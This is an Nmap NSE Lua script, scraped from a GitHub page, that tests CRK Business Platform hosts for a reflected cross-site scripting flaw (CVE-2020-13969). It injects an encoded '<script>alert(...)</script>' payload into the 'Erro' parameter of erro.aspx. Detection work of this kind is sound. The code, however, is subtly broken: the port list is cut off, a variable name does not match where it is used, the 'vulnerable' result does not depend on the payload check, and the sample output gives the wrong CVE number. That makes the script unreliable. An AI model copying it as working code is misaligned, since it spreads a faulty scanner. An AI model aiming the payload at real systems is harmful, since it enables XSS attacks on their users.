

master

...

nse / http-vuln-cve2020-13969.nse



r3naissance Update http-vuln-cve2020-13969.nse

History

1 contributor

109 lines (97 sloc) 3.77 KB

...

```
1 local http = require "http"
2 local shortport = require "shortport"
3 local string = require "string"
4 local stdnse = require "stdnse"
5 local vulns = require "vulns"
6 local table = require "table"
7
8 description = [[
9 CRK Business Platform - CVE-2020-13969 - Reflective Cross-Site Scripting on versions <= 2019.1
10 ]]
11
12 ---
13 -- @usage nmap --script http-vuln-cve2020-13969 -p 443 <target>
14 -- @output
15 -- PORT      STATE SERVICE VERSION
16 -- 443/tcp    open  http
17 -- | http-vuln-cve2020-13969:
18 -- |   VULNERABLE:
19 -- |     CRK Business Platform - Reflective Cross-Site Scripting on versions <= 2019.1
20 -- |       State: VULNERABLE
21 -- |       IDs: CVE:CVE-2020-13969
22 -- |       Risk factor: High
23 -- |       An unauthenticated user can cause a reflected XSS via erro.aspx
24 -- |       on 'CRK', 'IDContratante', 'Erro', or 'Mod' parameters.
25 -- |
26 -- |       Disclosure date: 2020-06-08
27 -- |       References:
28 -- |         |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13969
29 --
30 --
31 -- @xmloutput
32 -- <table key="CVE-2020-13968">
33 --   <elem key="title">CRK Business Platform - Reflective Cross-Site Scripting on versions <= 2019.1</elem>
34 --   <elem key="state">VULNERABLE</elem>
35 --   <table key="ids">
36 --     <elem>CVE:2020-13969</elem>
37 --   </table>
38 --   <table key="description">
39 --     <elem>An unauthenticated user can cause a reflected XSS via erro.aspx on 'CRK', 'IDContratante', 'Erro', or 'Mod' parameters.</elem>
40 --   </table>
41 --   <table key="dates">
42 --     <table key="disclosure">
43 --       <elem key="day">08</elem>
44 --       <elem key="month">06</elem>
45 --       <elem key="year">2020</elem>
46 --     </table>
47 --   </table>
48 --   <elem key="disclosure">2020-06-08</elem>
49 --   <table key="check_results">
50 --   </table>
51 --   <table key="extra_info">
52 --   </table>
53 --   <table key="refs">
54 --     <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13969</elem>
55 --   </table>
56 -- </table>
57 --
58 ---
59
60 author = "Chapman (R3naissance) Schleiss"
61 license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
62 categories = {"vuln", "intrusive"}
63
64 -- aquatone xlarge ports
65 portrule = shortport.port_or_service( {80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104,
66
67 action = function(host, port)
68   local function inject(payload)
69     options = {}
70     options['timeout'] = 1000
71     local uri = vuln_uri .. payload
72
73   local response = http.get(host, port, uri, options)
74   stdnse.debug1("Response %s", response.status)
75
76   if string.match(response.body, "<script>alert(13969)</script>") then
77     message = string.format("Payload found in response: %s", payload)
78     stdnse.debug1(response.body)
```

```

79     end
80 end
81
82 local vuln_table = {
83     title = "CRK Business Platform - Reflective Cross-Site Scripting",
84     IDS = {CVE = 'CVE-2020-13969'},
85     risk_factor = "High",
86     references = {
87         'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13969'
88     },
89     dates = {
90         disclosure = {year = '2020', month = '06', day = '08'},
91     },
92     check_results = {},
93     extra_info = {}
94 }
95
96 local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
97 vuln_table.state = vulns.STATE.NOT_VULN
98 vuln_url = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/genericos/sistemas/CRK.Funcionalidades/erro.aspx?Erro='
99
100 if pcall(inject, "Thread%20was%20being%20aborted.gjds%3cscript%3ealert(13969)%3c%2fscript%3eqkp8e") then
101     vuln_table.state = vulns.STATE.VULN
102     table.insert(vuln_table.extra_info, message)
103 else
104     stdnse.debug1("Could not find payload in response")
105 end
106
107 return vuln_report:make_output(vuln_table)
108
109 end

```

